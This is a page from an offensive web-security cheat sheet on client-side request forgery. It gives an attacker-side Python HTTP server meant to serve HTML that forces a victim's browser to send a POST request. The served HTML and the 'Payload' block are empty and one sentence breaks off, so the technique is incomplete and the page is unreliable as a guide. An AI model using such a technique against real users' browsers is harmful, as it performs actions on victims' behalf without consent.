> For the complete documentation index, see [llms.txt](https://0xalwayslucky.gitbook.io/cybersecstack/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xalwayslucky.gitbook.io/cybersecstack/web-application-security/client-side-request-forgery.md). # Client Side Request Forgery Performing actions on a users behalf ## Implementing your own response (POST/Javascript) Convenient method when a post request is required. > This will only work if the target automatically executes Javascript after it is requested by the victim **Python HTTP server example** In this example the attacker server will retrieve a GET request and perform POST request to ``` from http.server import HTTPServer, BaseHTTPRequestHandler class pyhandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-Type', 'text/html') self.end_headers() self.wfile.write(bytes(""" """, 'utf-8')) class pyhttp(object): def __init__(self, server_class=HTTPServer, handler_class=pyhandler): self.address = server_address = ('', 80) self.httpd = server_class(server_address, handler_class) self.httpd.serve_forever() pyhttp() ``` **Payload** ``` ```